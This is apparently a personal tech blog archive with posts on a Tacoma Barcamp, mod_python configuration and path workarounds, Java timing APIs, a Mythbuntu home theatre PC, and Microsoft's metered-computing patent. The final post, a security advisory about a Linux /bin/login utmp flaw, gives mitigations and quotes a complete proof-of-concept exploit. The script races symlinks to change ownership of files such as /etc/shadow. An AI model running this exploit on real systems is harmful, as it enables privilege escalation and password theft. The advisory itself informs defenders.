This blog has been silent for a couple months, but the news I have to share is well worth breaking that peaceful quiet :) I’ve been living in Tacoma Washington since I graduated college, and I am really loving the area. Surrounded by water, two mountain ranges in sight, green all year… it really is beautiful. The only downside of the area, while having more than a few technical companies, lacks a “tech scene.” This is thankfully starting to change with the introduction of Tacoma’s first Tech Meetup earlier this month (thanks to Erik Emery for setting that up!), and strengthened by a collaborative effort between Scott Kuehn, Michael Maitlin, and myself. That effort being…
The First Annual Barcamp Tacoma!
Barcamp is labeled as an “un-conference,” where people come together and talk about whatever it is they feel like discussing. Or, from the Barcamp.org website:
BarCamp is an ad-hoc gathering born from the desire for people to share and learn in an open environment. It is an intense event with discussions, demos and interaction from participants who are the main actors of the event.
We’ve had some help getting a space to hold the event from Suite 133, a local collaborative workspace, and with that locked down we also have a date: August 8th, 2009. The event is free (food and drinks included!), and if we have enough sponsors we’ll be trying to lock down t-shirts for everyone as well.
On behalf of myself and the other hosts, we really hope you are all able to come help us make Tacoma’s first barcamp a success. Check out the site for all the details, and be sure to sign up so we know how much food to pack. If you don’t know what you would talk about, we’ve created a page with presentation topics we would love to hear about. Share what you know, even if you don’t consider yourself an expert. All we care about is sharing information, everything else is just icing :)
Hope to see you all there!
In my last post I brought up how to get around mod_python’s default inability to handle relative paths for imported modules. The next night after writing that, I faced a very similar issue with configuration files.
It is a sin to duplicate data in a project (except when caching), so most sane desktop applications will have a central store that contains the configuration parameters for the application (usually packaged as a resource with the application, or in the registry for Windows users). Mod_python can’t do this because, as was discussed in my last post, it views the current working directory of whatever script it is executing as the root directory of the filesystem (”/”). So where do you put the configuration file for your mod_python based project if you can’t refer to it relatively, don’t want to hardcode an absolute path, and want to distribute the configuration with the project?
The solution hit me like a bucket of cold water. Give up on the property or ini format file, and make your configuration a python dict object that you can directly import:
# config.py
#
# This is the project's configuration. Import it when a class needs to access
# project configuration variables.
#
_config = {
# The name of my app so pathHack knows what string to look for
'rootname': 'sampleWebApp',
# Database options
'db_host': 'localhost',
'db_dbname': 'sampleWebApp',
'db_user': 'sampleWebAppUser',
'db_password': 's0m3p455w0rd',
# Debug logfile path
'debug_logfile': '/tmp/lostafollower.log'
};
This file needs to live in your project’s root directory as far as mod_python is concerned. For more information, read my last post. If you’ve already read it, then you’ll understand when I say that config.py lives in the same folder as pathHack.py.
Once you can import it from your main source files, use it like this:
<%
# sample usage of config
from config import _config as _c
req.write(_c['rootname'])
%>
Tada! Extraordinarily simple configuration file that is easily accessible and can be distributed with your mod_python application. I’m pretty happy about it :)
A long while back (a year already? Jeeze!) David Brenner and I wrote a web application without using any frameworks, only mod_python and python server pages (PSP). We ran into a few problems along the way, one of which being that the import path mod_python used had to be composed of absolute paths. It isn’t a huge problem to just hard code a path to your project’s lib directory, but it is hardly portable and adds to the fragility of the system.
I’m now doing another project (more on that later), again using mod_python and psp. This time around however, I have a hack that gets around the absolute path problem. The solution looks like this:
# This file has only one function: to add directories to the path
# so we can import other python files/modules.
import sys
# Default directories to add to the path
_dirs = ["/src", "/lib"]
_applicationRoot = "sampleWebApp"
# Will go through the list and add the directories given relative to the
# lostafollower base path. Allows us to do paths relative to our installation
# instead of hard-coding absolute paths.
def addLibs( dirs ):
# If [] was provided, just use the default.
if not dirs:
dirs = _dirs
base = ""
for entry in sys.path:
if entry.find(_applicationRoot) != -1:
base = entry
break
for dir in dirs:
try:
# Test if the path contains the path we want
sys.path.index(base+dir)
except:
# The path doesn't already contain our path
sys.path = sys.path+[base+dir]
The reason we normally can’t use relative paths when doing imports is because the mod_python handler considers the root (”/”) of the filesystem to be the current working directory of the application, regardless of where the application is actually running from. However, Apache will put whatever alias it has for your application’s directory [1] in the PYTHONPATH for mod_python, which is what allows us to do this hack. By finding the path that Apache has in the PYTHONPATH, we can add whatever paths we want relative to that. No .htaccess PythonPath directives, no hard coding of paths to your project’s module locations. Just:
- Put the above code in a file (I call it pathHack.py) in your application’s root directory (root as far as Apache is concerned) [1]
- import pathHack (or whatever you called it) in whichever file needs your other modules
- Call pathHack.addLibs([]) to add the defaults (/path/to/sampleWebApp/lib, etc), or pathHack.addLibs(”/lib/3rdParty”) to add /path/to/sampleWebApp/lib/3rdParty to your path
- import any python module in those newly added directories!
That is really it. Hard coded paths begone!
[1]
When I say “the alias it [Apache] has for your application’s directory,” what I mean is that even though, for example, my application runs out of /home/robertp/src/sampleApp/src, mod_python sees the root as being /home/robertp/src/sampleApp because of some unknown magic. It doesn’t really matter what the path is, in all honesty - when specifying a value for _applicationRoot in the solution code above, you are just looking for a string unique to the path to your application (just be sure to make all supplied paths relative from that base). Try just your project’s deployment folder for starters. If you are still having trouble finding it, create a quick psp file in the same folder as your other psp files, and do:
import sys
from mod_python import apache
req.write(str(sys.path))
That will just print out all the path elements to your browser window when visited. Pick out your application’s name or path from there, and set _applicationRoot to that. It isn’t completely ideal, but it is better than hard-coding ;)
This? This is tasty. Hope everyone is enjoying their weekend as much as I am - happy Valentine’s day!
Sometimes measuring time using the trusty System.currentTimeMillis() static call isn’t of high enough resolution to measure the execution time of methods with any meaning. Fortunately for those facing this problem, Java 5 introduced a method of accessing the system’s most precise clock through the System.nanoTime() static call. This returns a long that represents the current clock time in nanoseconds, easily solving the problem of measuring time more precisely than milliseconds can provide.
Thus ends another quick post, get back to work :)
A quick search on google for “Reading environment variables in java” yielded a lot of (older) documentation stating that System.getEnv(”varname”) has been deprecated. This is no longer accurate, as System.getEnv(”varname”) and System.getEnv() have been reinstated as of Java 1.5. Quick post, I just wanted others to know that the API again exposes those useful method calls.
In part one of this series, I covered the hardware and basic operating system installation for a home theater PC running Mythbuntu. In other words, part one covered the easy stuff. Running the audio cables between the PC and the TV is actually a more complicated affair than I had imagined, yielding three major issues that had to be overcome before ending up with an acceptable configuration.
The blue lights are very subtle, but neat in the dark
1. Audio
I should clarify that connecting the cables isn’t the problem, it is the technical limitations and configuration issues accompanying their connection that poses challenges. My audio connection is straight stereo-out to stereo-in via a 10 foot 3.5mm interconnect. Upon plugging it in and turning on the TV however, no audio was present. The reason behind the problem ended up being with how ALSA was loading modules, and was easily fixed with a configuration change. If you copy my setup and are using a Creative Audigy 2 sound card with an Ubuntu variant, try the following:
- Run ‘alsamixer’ on the command line and verify your Master and PCM channels are turned up.
- Verify you have your cable plugged in to the correct slot on your sound card.
- My fix: another sound device (my motherboard’s onboard sound) was stealing ALSA’s focus. Adding the following to /etc/modprobe.d/blacklist and rebooting fixed my problem:
blacklist snd_intel8x0
2. Video - Analog Connection via DSUB15
The Viera has an analog mini-DSUB 15 port for hooking up a PC directly to the TV. I had never had an issue with signal quality before on smaller monitors, so I didn’t forsee any problems with hooking a ten foot VGA cable from the computer to the TV. There are a multitude of issues with this setup, however.
First, read the specifications for the Viera carefully (in the manual, I couldn’t find the information anywhere else), and Panasonic states the TV is capable of producing a maximum resolution of 1280×1024@60hz. This is a slight problem, because in order to display content at 1080p, 1080 lines of vertical resolution are needed. Furthermore, with a 10′ run of analog signal 1024×768 is clean, but pushing 1280×1024 causes a significant amount of signal and color bleeding.
The pits of this is that if you stick with an analog connection, you are really stuck with these problems. You can clean up the signal by running a shorter cable from the HTPC and the TV, but that limits the placement of the machine. The resolution limitation is the real kicker, as spending all of that money on a HDTV capable of producing 1080p becomes a complete waste if you can only fully display 720p content. I refused to believe that the TV couldn’t produce its native resolution of 1920×1080 from a computer source, so the next fix comes from addressing that issue.
3. Video - Digital Connection via DVI -> HDMI (and More Audio Solutions)
The TV is capable of producing 1080p from a source connected through component or HDMI cables, displaying at 1920×1080. My solution to the problems found in section two of this post was to then find a way to get my HTPC’s video output to an HDMI cable. HDMI is really only DVI with added support for sound, so another $15 purchase of a DVI -> HDMI cable and a week of waiting was all I needed to make the connection. The benefit was immediate - being digital, there is no signal bleeding or interference. The drawbacks presented themselves just as quickly, however. I found that my analog audio connection had cut out, I could no longer produce sound on the TV. Additionally, the HTPC was displaying at 1920×1080, but the TV was only displaying a portion of it, with my mouse going off-screen to access common menus.
The video display was the most immediately annoying part. Reading many online forums suggested that it was a problem with overscanning, and there were even guides on how to access the service menus of the Viera to grant a 1:1 pixel match (effectively disabling overscanning). I haven’t found this documented anywhere else, so I want to say it clearly: ADJUSTING YOUR VIERA’S OVERSCAN SETTINGS IS UNNECESSARY (is it still bad design to use marquee and blink tags? I’m tempted to use them here). The easy and smart fix is documented in the service manual (not the user manual), and is as easy as the following:
- Plug in your DVI -> HDMI cable, ensure your source HTPC is on and change the TV’s video input so the HTPC’s screen is visible.
- On your remote, press “Menu,” then go to “Picture”
- Scroll down to the second screen, and go to “Advanced Picture”
- Go to the last option, “HD size,” and change it from “1″ to “2″
That fixed it for me. Restarting Xorg and a change of the resolution to 1920×1280@55hz had me running in full high-def glory. But without sound.
The sound issue was a nuisance. HDMI normally carries a digital audio signal with the digital video feed, so the Viera is nice enough to automatically ignore all analog audio input sources when your display comes from an HDMI source. Unfortunately, getting audio spit out over DVI was more difficult than I cared to pursue (with a lot of forums claiming the task impossible), and buying a DVI + analog audio -> HDMI converter is in excess of 200 euros. Again, the simpler and smarter solution is again in the Viera service manual (not the user manual), and can again be done by following these steps:
- Plug in your HTPC and get it set up again so the screen is visible.
- On your remote, press “Menu,” then go to “Audio”
- Select “Advanced audio”
- Go to “HDMI 1 in” (or to whichever port your HTPC is plugged in to)
- Scroll over until the port your audio source is in is selected (I selected “PC”)
You should now have overridden the default of using the digital signal from your HDMI cable to now use the analog input.
For me, these three steps resolved the major issues (and relieved the major headaches) I encountered while setting up my HTPC. I sincerely hope that these steps will help people avoid making the mistakes I did, and save them the many days spent polling forums looking for answers to these issues. In part three of this series of posts, I will address setting up the system to make retrieving media especially easy, and some other configuration tweaks that make my system an easy-to-use content retrieving monster. Subscribing to my RSS feed will ensure you don’t miss it.
I’m off to watch The Dark Knight in 1080p - until next time!
I purchased a 46″ Panasonic Viera
1080p plasma TV at the beginning of January, and the resulting fun I’ve been having with it is largely responsible for my lack of recent blog updates. I, being the cheap geek I am, have no desire to either pay for an HD package from my cable company, nor do I want to go out and buy an HD source and then buy or rent movies. The solution I came up with to view my existing media and new HD content thus revolves around a relatively cheap solution - a home theatre PC (HTPC). There were significant challenges in getting everything set up how I wanted it, and to prevent others from having to repeat my failures, I’m going to post a multi-part guide to repeating my final configuration - which looks a little like this. Part 1 after the jump!
Yes, that is 30 Rock in the background :)
Continue reading ‘Part 1: Mythbuntu HTPC and a Panasonic Viera’
Microsoft is quite apparently determined to not miss the possible shift to cloud computing. On top of October’s Microsoft Developer Conference announcement that the company will be launching “Azure” (Microsoft’s answer to Amazon Web Services), they also announced a next-generation operating system that will be cloud-centric. Overall, it seems like a logical progression for a company to make, and Microsoft really seems to have a handle on this emerging technology. However, the third development of Microsoft’s investment in cloud technologies is something consumers may want to be wary of.
It has surfaced through CNET (and echoed on CNN and other mainstream outlets) that Microsoft has applied for a patent relating to metered computing. The essence of the patent is a “pay-as-you-go” model for computing, where the amount and intensity with which you use a computer directly relates to how much you pay to use your computer with Microsoft’s operating system. They also discuss the notion of selling packages of functionality to the user - one performance level for gaming, one for office productivity, another for web browsing, and so on. Microsoft openly admits that users may end up paying more to use their computers than under the existing model, where consumers purchase the operating system at a fixed one-time cost. What are the advantages to Microsoft’s users, then?
Summary: none, for the average user.
It seems as though segregating functionality and services that have been historically monolithic is becoming a popular trend for businesses (telcos fighting to dictate which web sites you can visit and violating net neutrality is another example). In the past, using a computer has been a process of 1) buying a computer, 2) buying an operating system to put on it (or more commonly having one come with the computer), and 3) supplying the power to run the computer. What is done with it once installed is up to the consumer, and they may use it as long as they want for whatever purpose without incurring more charges. Microsoft’s speculative model is much like how you pay for power - you pay for what you use. The difference here is that providing power to you costs the utility company money in terms of infrastructure and fuel (or in the case of Washington state residents, dam maintenance), but once Microsoft has sold a product, the costs they incur by the consumer’s use of their own computer is nothing.
If Microsoft is planning on using this model for a cloud-centric operating system based on Azure, then the model makes more sense, as Microsoft will have legitimate infrastructure costs whenever processing power or disk space is allocated to someone. However, modern computers are becoming increasingly more powerful and decreasingly expensive as time goes, and I doubt users like my parents have ever had a need for more processing power than what is afforded to them locally.
The devil then rests in the details:
Is Microsoft going to apply the “pay-as-you-go” model to users utilizing only their own local resources, or only to people using a cloud-centric OS? The former would be very bad for the consumer, the latter would be understandable. If only a cloud-centric operating system is released by Microsoft in the future, are they going to ship it with consumer protections enabled by default (ie, default to not use cloud resources)? This would be okay, as extended functionality that would incur more costs would be an opt-in consumer decision. And finally, is Microsoft really going to separate Azure utilization into packages based on processor usage? It is this author’s opinion that if you are using cloud resources, you should just use cloud resources - price-packaging processor or disk space is ridiculous. A clock cycle is a clock cycle, regardless of whether processing an instruction for Firefox or Far Cry 2.
I sincerely hope Microsoft executes whatever plans they have in a manner that increases consumer confidence in the cloud. They have an opportunity to turn “cloud computing” from a buzzword into something average consumers utilize, and faltering here could be a setback for the software industry as a whole.
Don’t mess it up, Microsoft.
Remember our discussion on viewing computer security as threat mitigation? Well the likely risk of one attack vector being exploited has just increased.
An issue was uncovered in Linux’s /bin/login and utmp being able to change the ownership of arbitrary files upon remote login. The example they discussed was changing /etc/shadow to be readable by a normal user (supposedly for password cracking at the attacker’s leisure), but this could also be used to make accessible ownership of other people’s ssh private keys, view plaintext passwords in daemon configuration files, gain access to applications normally restricted to superusers, and of course do whatever else a creative individual could think of. The current exploit is a proof-of-concept, and thus isn’t all that elegant (nor dangerous). However, that doesn’t mean future iterations of the exploit code won’t be either.
The issue can be easily avoided by updating your Debian system - the Debian security team has released an update which includes a fix for this issue.
For other distributions, there has been no discussion of temporary measures to avoid being vulnerable. My suggestions for temporary protection from the *current* exploit are:
- Disable external incoming access to port 23 (telnet).
- Prevent the telnet daemon (telnetd) from running.
- Don’t give in to any requests to ‘chgrp utmp’ anything (although this isn’t a complete workaround - if an issue allowing escalation of privileges within any utmp owned file is found, you will still be vulnerable without another temporary fix from above)
However, I believe another iteration of this exploit will include using rlogin if telnet fails, as it also uses /bin/login. To avoid being vulnerable to this threat while a patch is released for your distribution, you may also do the following:
- Disable external incoming access to port 513 (rlogind).
- Prevent the rlogin daemon (rlogind) from running.
- Same as 3. from above.
To be complete, below is the proof-of-concept exploit developed by Paul Szabo of the University of Sydney. It was released on December 1, 2008.
#!/bin/bash -
echo '
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
struct utmp entry;
int i;
entry.ut_type=LOGIN_PROCESS;
strcpy(entry.ut_line,"/tmp/x");
entry.ut_time=0;
strcpy(entry.ut_user,"badguy");
strcpy(entry.ut_host,"badhost");
entry.ut_addr=0;
for(i=1;i<9;i++) {
entry.ut_pid=(pid_t)( i + (int)getpid() );
sprintf(entry.ut_id,"bad%d",i);
pututline(&entry);
}
}
' > /tmp/fillutmp.c
cc -o /tmp/fillutmp /tmp/fillutmp.c
echo 'Ask someone with group utmp privileges to do:'
echo ' chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS
echo '
#include
int main(int argc, char *argv[])
{
while(1)
{
unlink("/tmp/x");
symlink(argv[1],"/tmp/x");
unlink("/tmp/x");
symlink(argv[2],"/tmp/x");
}
}
' > /tmp/jigglelnk.c
cc -o /tmp/jigglelnk /tmp/jigglelnk.c
HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."
ATK=/etc/debian_version # should be /etc/shadow
echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!
LOOP=0
while :; do
((LOOP = $LOOP + 1))
echo; echo; echo "Try = $LOOP"
/tmp/fillutmp
echo "Telnetting... if login succeeds, just exit for next try..."
/usr/bin/telnet $HOST
LS=`ls -ld $ATK`
case "$LS" in
*root*root* ) ;; # not done yet...
* )
echo; echo
echo "Success after $LOOP tries!"
echo "$LS"
echo; echo
break
;;
esac
done
kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x
# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28 2006 /etc/debian_version
Stay secure!
